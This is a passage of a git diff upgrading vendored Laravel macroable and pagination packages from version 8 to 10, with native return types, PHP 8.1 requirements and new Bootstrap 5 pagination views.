"config": { + "sort-packages": true + }, + "minimum-stability": "dev" +} diff --git a/vendor/illuminate/macroable/Traits/Macroable.php b/vendor/illuminate/macroable/Traits/Macroable.php index 2269142ec..3e6d96a5c 100644 --- a/vendor/illuminate/macroable/Traits/Macroable.php +++ b/vendor/illuminate/macroable/Traits/Macroable.php @@ -45,7 +45,6 @@ public static function mixin($mixin, $replace = true) foreach ($methods as $method) { if ($replace || ! static::hasMacro($method->name)) { - $method->setAccessible(true); static::macro($method->name, $method->invoke($mixin)); } } diff --git a/vendor/illuminate/macroable/composer.json b/vendor/illuminate/macroable/composer.json index dfa5c62be..231d2333a 100644 --- a/vendor/illuminate/macroable/composer.json +++ b/vendor/illuminate/macroable/composer.json @@ -14,7 +14,7 @@ } ], "require": { - "php": "^7.3|^8.0" + "php": "^8.1" }, "autoload": { "psr-4": { @@ -23,7 +23,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/pagination/AbstractCursorPaginator.php b/vendor/illuminate/pagination/AbstractCursorPaginator.php index 12344850b..fa3070c24 100644 --- a/vendor/illuminate/pagination/AbstractCursorPaginator.php +++ b/vendor/illuminate/pagination/AbstractCursorPaginator.php @@ -14,6 +14,7 @@ use Illuminate\Support\Str; use Illuminate\Support\Traits\ForwardsCalls; use Illuminate\Support\Traits\Tappable; +use Traversable; /** * @mixin \Illuminate\Support\Collection @@ -110,7 +111,7 @@ public function url($cursor) } return $this->path() - .(Str::contains($this->path(), '?') ? '&' : '?') + .(str_contains($this->path(), '?') ? '&' : '?') .Arr::query($parameters) .$this->buildFragment(); } @@ -204,6 +205,7 @@ public function getCursorForItem($item, $isNext = true) public function getParametersForItem($item) { return collect($this->parameters) + ->filter() ->flip() ->map(function ($_, $parameterName) use ($item) { if ($item instanceof JsonResource) { @@ -523,8 +525,7 @@ public static function viewFactory() * * @return \ArrayIterator */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return $this->items->getIterator(); } @@ -554,8 +555,7 @@ public function isNotEmpty() * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { return $this->items->count(); } @@ -599,8 +599,7 @@ public function getOptions() * @param mixed $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return $this->items->has($key); } @@ -611,8 +610,7 @@ public function offsetExists($key) * @param mixed $key * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->items->get($key); } @@ -624,8 +622,7 @@ public function offsetGet($key) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { $this->items->put($key, $value); } @@ -636,8 +633,7 @@ public function offsetSet($key, $value) * @param mixed $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { $this->items->forget($key); } diff --git a/vendor/illuminate/pagination/AbstractPaginator.php b/vendor/illuminate/pagination/AbstractPaginator.php index ac9ef4035..ed04d5f97 100644 --- a/vendor/illuminate/pagination/AbstractPaginator.php +++ b/vendor/illuminate/pagination/AbstractPaginator.php @@ -6,9 +6,9 @@ use Illuminate\Contracts\Support\Htmlable; use Illuminate\Support\Arr; use Illuminate\Support\Collection; -use Illuminate\Support\Str; use Illuminate\Support\Traits\ForwardsCalls; use Illuminate\Support\Traits\Tappable; +use Traversable; /** * @mixin \Illuminate\Support\Collection @@ -181,7 +181,7 @@ public function url($page) } return $this->path() - .(Str::contains($this->path(), '?') ? '&' : '?') + .(str_contains($this->path(), '?') ? '&' : '?') .Arr::query($parameters) .$this->buildFragment(); } @@ -319,7 +319,7 @@ public function items() /** * Get the number of the first item in the slice. * - * @return int + * @return int|null */ public function firstItem() { @@ -329,7 +329,7 @@ public function firstItem() /** * Get the number of the last item in the slice. * - * @return int + * @return int|null */ public function lastItem() { @@ -609,8 +609,7 @@ public static function useTailwind() */ public static function useBootstrap() { - static::defaultView('pagination::bootstrap-4'); - static::defaultSimpleView('pagination::simple-bootstrap-4'); + static::useBootstrapFour(); } /** @@ -624,13 +623,34 @@ public static function useBootstrapThree() static::defaultSimpleView('pagination::simple-default'); } + /** + * Indicate that Bootstrap 4 styling should be used for generated links. + * + * @return void + */ + public static function useBootstrapFour() + { + static::defaultView('pagination::bootstrap-4'); + static::defaultSimpleView('pagination::simple-bootstrap-4'); + } + + /** + * Indicate that Bootstrap 5 styling should be used for generated links. + * + * @return void + */ + public static function useBootstrapFive() + { + static::defaultView('pagination::bootstrap-5'); + static::defaultSimpleView('pagination::simple-bootstrap-5'); + } + /** * Get an iterator for the items. * * @return \ArrayIterator */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return $this->items->getIterator(); } @@ -660,8 +680,7 @@ public function isNotEmpty() * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { return $this->items->count(); } @@ -705,8 +724,7 @@ public function getOptions() * @param mixed $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return $this->items->has($key); } @@ -717,8 +735,7 @@ public function offsetExists($key) * @param mixed $key * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->items->get($key); } @@ -730,8 +747,7 @@ public function offsetGet($key) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { $this->items->put($key, $value); } @@ -742,8 +758,7 @@ public function offsetSet($key, $value) * @param mixed $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { $this->items->forget($key); } diff --git a/vendor/illuminate/pagination/Cursor.php b/vendor/illuminate/pagination/Cursor.php index e8edf6526..1d622808b 100644 --- a/vendor/illuminate/pagination/Cursor.php +++ b/vendor/illuminate/pagination/Cursor.php @@ -113,7 +113,7 @@ public function encode() */ public static function fromEncoded($encodedString) { - if (is_null($encodedString) || ! is_string($encodedString)) { + if (! is_string($encodedString)) { return null; } diff --git a/vendor/illuminate/pagination/CursorPaginationException.php b/vendor/illuminate/pagination/CursorPaginationException.php deleted file mode 100644 index b12ca607f..000000000 --- a/vendor/illuminate/pagination/CursorPaginationException.php +++ /dev/null @@ -1,13 +0,0 @@ -{$key} = $value; } - $this->perPage = $perPage; + $this->perPage = (int) $perPage; $this->cursor = $cursor; $this->path = $this->path !== '/' ? rtrim($this->path, '/') : $this->path; @@ -121,6 +121,16 @@ public function onFirstPage() return is_null($this->cursor) || ($this->cursor->pointsToPreviousItems() && ! $this->hasMore); } + /** + * Determine if the paginator is on the last page. + * + * @return bool + */ + public function onLastPage() + { + return ! $this->hasMorePages(); + } + /** * Get the instance as an array. * @@ -132,7 +142,9 @@ public function toArray() 'data' => $this->items->toArray(), 'path' => $this->path(), 'per_page' => $this->perPage(), + 'next_cursor' => $this->nextCursor()?->encode(), 'next_page_url' => $this->nextPageUrl(), + 'prev_cursor' => $this->previousCursor()?->encode(), 'prev_page_url' => $this->previousPageUrl(), ]; } @@ -142,8 +154,7 @@ public function toArray() * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->toArray(); } diff --git a/vendor/illuminate/pagination/LengthAwarePaginator.php b/vendor/illuminate/pagination/LengthAwarePaginator.php index 24f68b121..8d3e0ab77 100644 --- a/vendor/illuminate/pagination/LengthAwarePaginator.php +++ b/vendor/illuminate/pagination/LengthAwarePaginator.php @@ -46,7 +46,7 @@ public function __construct($items, $total, $perPage, $currentPage = null, array } $this->total = $total; - $this->perPage = $perPage; + $this->perPage = (int) $perPage; $this->lastPage = max((int) ceil($total / $perPage), 1); $this->path = $this->path !== '/' ? rtrim($this->path, '/') : $this->path; $this->currentPage = $this->setCurrentPage($currentPage, $this->pageName); @@ -213,8 +213,7 @@ public function toArray() * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->toArray(); } diff --git a/vendor/illuminate/pagination/PaginationState.php b/vendor/illuminate/pagination/PaginationState.php index ff8150ff2..347c6e224 100644 --- a/vendor/illuminate/pagination/PaginationState.php +++ b/vendor/illuminate/pagination/PaginationState.php @@ -12,13 +12,9 @@ class PaginationState */ public static function resolveUsing($app) { - Paginator::viewFactoryResolver(function () use ($app) { - return $app['view']; - }); + Paginator::viewFactoryResolver(fn () => $app['view']); - Paginator::currentPathResolver(function () use ($app) { - return $app['request']->url(); - }); + Paginator::currentPathResolver(fn () => $app['request']->url()); Paginator::currentPageResolver(function ($pageName = 'page') use ($app) { $page = $app['request']->input($pageName); @@ -30,9 +26,7 @@ public static function resolveUsing($app) return 1; }); - Paginator::queryStringResolver(function () use ($app) { - return $app['request']->query(); - }); + Paginator::queryStringResolver(fn () => $app['request']->query()); CursorPaginator::currentCursorResolver(function ($cursorName = 'cursor') use ($app) { return Cursor::fromEncoded($app['request']->input($cursorName)); diff --git a/vendor/illuminate/pagination/Paginator.php b/vendor/illuminate/pagination/Paginator.php index 733edb8e0..d307ee9ff 100644 --- a/vendor/illuminate/pagination/Paginator.php +++ b/vendor/illuminate/pagination/Paginator.php @@ -158,8 +158,7 @@ public function toArray() * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->toArray(); } diff --git a/vendor/illuminate/pagination/UrlWindow.php b/vendor/illuminate/pagination/UrlWindow.php index 31c7cc2a4..99286f7b3 100644 --- a/vendor/illuminate/pagination/UrlWindow.php +++ b/vendor/illuminate/pagination/UrlWindow.php @@ -100,7 +100,7 @@ protected function getUrlSlider($onEachSide) } /** - * Get the slider of URLs when too close to beginning of window. + * Get the slider of URLs when too close to the beginning of the window. * * @param int $window * @param int $onEachSide @@ -116,7 +116,7 @@ protected function getSliderTooCloseToBeginning($window, $onEachSide) } /** - * Get the slider of URLs when too close to ending of window. + * Get the slider of URLs when too close to the ending of the window. * * @param int $window * @param int $onEachSide diff --git a/vendor/illuminate/pagination/composer.json b/vendor/illuminate/pagination/composer.json index 5c8a380b2..2fc61394b 100644 --- a/vendor/illuminate/pagination/composer.json +++ b/vendor/illuminate/pagination/composer.json @@ -14,11 +14,11 @@ } ], "require": { - "php": "^7.3|^8.0", - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0" + "php": "^8.1", + "ext-filter": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0" }, "autoload": { "psr-4": { @@ -27,7 +27,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/pagination/resources/views/bootstrap-5.blade.php b/vendor/illuminate/pagination/resources/views/bootstrap-5.blade.php new file mode 100644 index 000000000..a1795a4d8 --- /dev/null +++ b/vendor/illuminate/pagination/resources/views/bootstrap-5.blade.php @@ -0,0 +1,88 @@ +@if ($paginator->hasPages()) +
    +@endif diff --git a/vendor/illuminate/pagination/resources/views/simple-bootstrap-5.blade.php b/vendor/illuminate/pagination/resources/views/simple-bootstrap-5.blade.php new file mode 100644 index 000000000..a89005ee7 --- /dev/null +++ b/vendor/illuminate/pagination/resources/views/simple-bootstrap-5.blade.php @@ -0,0 +1,29 @@ +@if ($paginator->hasPages()) + +@endif diff --git a/vendor/illuminate/pagination/resources/views/simple-tailwind.blade.php b/vendor/illuminate/pagination/resources/views/simple-tailwind.blade.php index 6872cca36..ea02400f4 100644 --- a/vendor/illuminate/pagination/resources/views/simple-tailwind.blade.php +++ b/vendor/illuminate/pagination/resources/views/simple-tailwind.blade.php @@ -2,22 +2,22 @@